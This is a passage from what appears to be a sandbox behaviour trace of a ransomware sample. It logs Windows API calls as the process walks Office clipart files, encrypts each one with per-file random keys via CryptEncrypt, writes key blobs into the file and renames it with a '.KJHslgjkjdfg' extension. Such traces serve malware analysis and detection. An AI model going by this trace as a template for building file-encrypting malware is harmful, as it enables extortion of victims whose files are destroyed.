Size=0x40) returned 0x9af7b0 [0212.201] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.201] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.201] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.201] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.201] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.201] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.201] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.201] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.201] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.201] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6302, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6302, lpOverlapped=0x0) returned 1 [0212.202] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6310, dwBufLen=0x6310 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6310) returned 1 [0212.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.203] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6310, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6310, lpOverlapped=0x0) returned 1 [0212.203] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x63e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.203] SetEndOfFile (hFile=0x130) returned 1 [0212.205] GetProcessHeap () returned 0x990000 [0212.205] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.205] GetProcessHeap () returned 0x990000 [0212.205] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf.kjhslgjkjdfg")) returned 1 [0212.207] CloseHandle (hObject=0x130) returned 1 [0212.207] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3636, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00704_.WMF", cAlternateFileName="")) returned 1 [0212.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.208] GetProcessHeap () returned 0x990000 [0212.208] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.209] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.209] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0212.211] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.211] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.211] GetProcessHeap () returned 0x990000 [0212.211] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.211] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.211] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.211] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.212] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.212] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.212] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.212] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.212] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.212] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.212] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3636, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3636, lpOverlapped=0x0) returned 1 [0212.213] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3640, dwBufLen=0x3640 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3640) returned 1 [0212.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.213] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3640, lpOverlapped=0x0) returned 1 [0212.213] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.213] SetEndOfFile (hFile=0x130) returned 1 [0212.216] GetProcessHeap () returned 0x990000 [0212.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.216] GetProcessHeap () returned 0x990000 [0212.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf.kjhslgjkjdfg")) returned 1 [0212.218] CloseHandle (hObject=0x130) returned 1 [0212.218] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6697b000, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6697b000, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x16478, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00726_.WMF", cAlternateFileName="")) returned 1 [0212.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.219] GetProcessHeap () returned 0x990000 [0212.219] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.219] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.220] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.222] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.222] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.222] GetProcessHeap () returned 0x990000 [0212.222] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.222] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.222] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.222] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.222] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.222] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.222] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.223] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.223] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.223] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.223] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16478, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16478, lpOverlapped=0x0) returned 1 [0212.225] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16480, dwBufLen=0x16480 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16480) returned 1 [0212.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.226] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16480, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16480, lpOverlapped=0x0) returned 1 [0212.226] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.226] SetEndOfFile (hFile=0x130) returned 1 [0212.229] GetProcessHeap () returned 0x990000 [0212.229] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.229] GetProcessHeap () returned 0x990000 [0212.229] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf.kjhslgjkjdfg")) returned 1 [0212.231] CloseHandle (hObject=0x130) returned 1 [0212.231] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d1f5400, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d1f5400, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x1758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00728_.WMF", cAlternateFileName="")) returned 1 [0212.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.232] GetProcessHeap () returned 0x990000 [0212.232] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.232] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.233] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.234] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.234] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.234] GetProcessHeap () returned 0x990000 [0212.234] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.234] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.234] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.234] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.234] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.234] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.235] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.235] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.235] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.235] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.235] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1758, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1758, lpOverlapped=0x0) returned 1 [0212.236] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1760, dwBufLen=0x1760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1760) returned 1 [0212.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.236] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1760, lpOverlapped=0x0) returned 1 [0212.236] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.236] SetEndOfFile (hFile=0x130) returned 1 [0212.238] GetProcessHeap () returned 0x990000 [0212.238] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.238] GetProcessHeap () returned 0x990000 [0212.238] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf.kjhslgjkjdfg")) returned 1 [0212.240] CloseHandle (hObject=0x130) returned 1 [0212.240] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5096e900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5096e900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00732_.WMF", cAlternateFileName="")) returned 1 [0212.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.242] GetProcessHeap () returned 0x990000 [0212.242] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.242] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.242] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.244] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.244] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.244] GetProcessHeap () returned 0x990000 [0212.244] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.244] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.244] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.245] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.245] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.245] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.245] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.245] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, 